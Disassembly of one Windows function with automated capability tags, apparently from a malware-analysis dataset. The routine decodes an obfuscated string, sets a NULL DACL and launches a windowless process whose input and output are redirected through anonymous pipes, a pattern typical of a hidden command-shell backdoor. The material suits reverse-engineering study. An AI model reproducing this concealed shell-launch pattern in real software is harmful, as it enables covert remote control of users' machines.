Function at 0x4d1a83
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create two anonymous pipes

Disassembly:
mov eax, 0x6cf40e
call fcn.006b9c3c
sub esp, 0x58
push ebx
mov ebx, dword [0x7a0390]
push esi
push edi
push 1
lea esi, [ebx + 0x80]
push esi
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push 0
push 0
xor edi, edi
inc edi
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
push 0x44
lea eax, [ebx + 0x30]
push 0
push eax
call fcn.005077d5
add esp, 0xc
lea eax, [ebx + 0x94]
push 0x10
push 0
push eax
call fcn.005077d5
and dword [ebx + 0x78], 0
lea eax, [ebx + 0x74]
add esp, 0xc
mov dword [ebx + 0x7c], edi
lea edi, [ebx + 0xb0]
mov dword [eax], 0xc
lea esi, [ebx + 0xa4]
push 0
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_CreatePipe]
test eax, eax
je 0x4d1b37
push 0
lea eax, [ebx + 0x74]
lea ecx, [ebx + 0xa8]
push eax
lea edx, [ebx + 0xac]
mov dword [ebp - 0x1c], ecx
push ecx
push edx
mov dword [ebp - 0x20], edx
call dword [sym.imp.KERNEL32.DLL_CreatePipe]
test eax, eax
jne 0x4d1b48
push dword [esi]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
push dword [edi]
call esi
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebx + 0x30]
push eax
call dword [sym.imp.KERNEL32.DLL_GetStartupInfoA]
movaps xmm0, xmmword [0x748a40]
xor eax, eax
mov word [ebx + 0x60], ax
mov eax, dword [ebx + 0xa8]
mov dword [ebx + 0x6c], eax
mov dword [ebx + 0x70], eax
mov eax, dword [esi]
mov dword [ebx + 0x68], eax
xor eax, eax
push 0x7f
mov dword [ebx + 0x30], 0x44
mov ecx, eax
mov dword [ebx + 0x5c], 0x101
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], eax
movups xmmword [ebp - 0x44], xmm0
mov dword [ebp - 0x34], 0x25
mov dword [ebp - 0x30], 0x3e
mov dword [ebp - 0x2c], 0x37
pop edi
push 0xb
pop eax
sub eax, dword [ebp + ecx*4 - 0x44]
imul eax, eax, 0x24
cdq
idiv edi
lea eax, [edi + edx]
cdq
idiv edi
mov byte [ebp + ecx - 0x4c], dl
inc ecx
cmp ecx, 7
jb 0x4d1baa
lea eax, [ebp - 0x4c]
mov byte [ebp - 0x45], 0
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.006a0149
add esp, 0xc
test eax, eax
jne 0x4d1b37
cmp dword [ebp - 0x14], eax
je 0x4d1b37
lea eax, [ebx + 0x94]
push eax
lea eax, [ebx + 0x30]
push eax
xor eax, eax
push eax
push eax
push 0x8000020
push 1
push eax
push eax
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
jne 0x4d1c41
push dword [esi]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
mov eax, dword [ebp - 0x1c]
push dword [eax]
call esi
mov eax, dword [ebp - 0x20]
push dword [eax]
call esi
push dword [ebx + 0xb0]
call esi
call dword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x4d1b37
push dword [ebp - 0x14]
call fcn.00694387
mov dword [esp], 0x200
lea eax, [ebx + 0xb4]
push 0
push eax
call fcn.005077d5
sub esp, 0xc
mov dword [ebx + 0x2d8], 1
mov ecx, esp
mov dword [ebp - 0x20], esp
push 0x73a9b8
call fcn.00411aae
and dword [ebp - 4], 0
xor eax, eax
movaps xmm0, xmmword [0x7468b0]
lea edi, [ebp - 0x60]
stosd dword es:[edi], eax
push 0x7f
pop esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ebp - 0x2c], 0
xor ecx, ecx
movups xmmword [ebp - 0x54], xmm0
mov dword [ebp - 0x34], 0x57
movaps xmm0, xmmword [0x744dd0]
movups xmmword [ebp - 0x44], xmm0
mov dword [ebp - 0x30], 0x4c
mov eax, dword [ebp + ecx*4 - 0x54]
sub eax, 0x5a
imul eax, eax, 0xa
cdq
idiv esi
lea eax, [esi + edx]
cdq
idiv esi
mov byte [ebp + ecx - 0x60], dl
inc ecx
cmp ecx, 0xb
jb 0x4d1cb3
sub esp, 0x18
mov byte [ebp - 0x55], 0
lea eax, [ebp - 0x60]
mov dword [ebp - 0x1c], esp
mov ecx, esp
push eax
call fcn.00411aae
mov byte [ebp - 4], 1
push ecx
push 1
or dword [ebp - 4], 0xffffffff
mov ecx, dword [0x7a0190]
call fcn.004d3404
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], ebx
push eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x4d1d40
push eax
lea ecx, [ebp - 0x28]
call fcn.004d1f67
mov dword [ebp - 4], 2
mov ecx, dword [ebp - 0x28]
call fcn.0047da23
lea ecx, [ebp - 0x28]
call fcn.00413fdc
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x24], 0
je 0x4d1b37
call fcn.0069530c
int3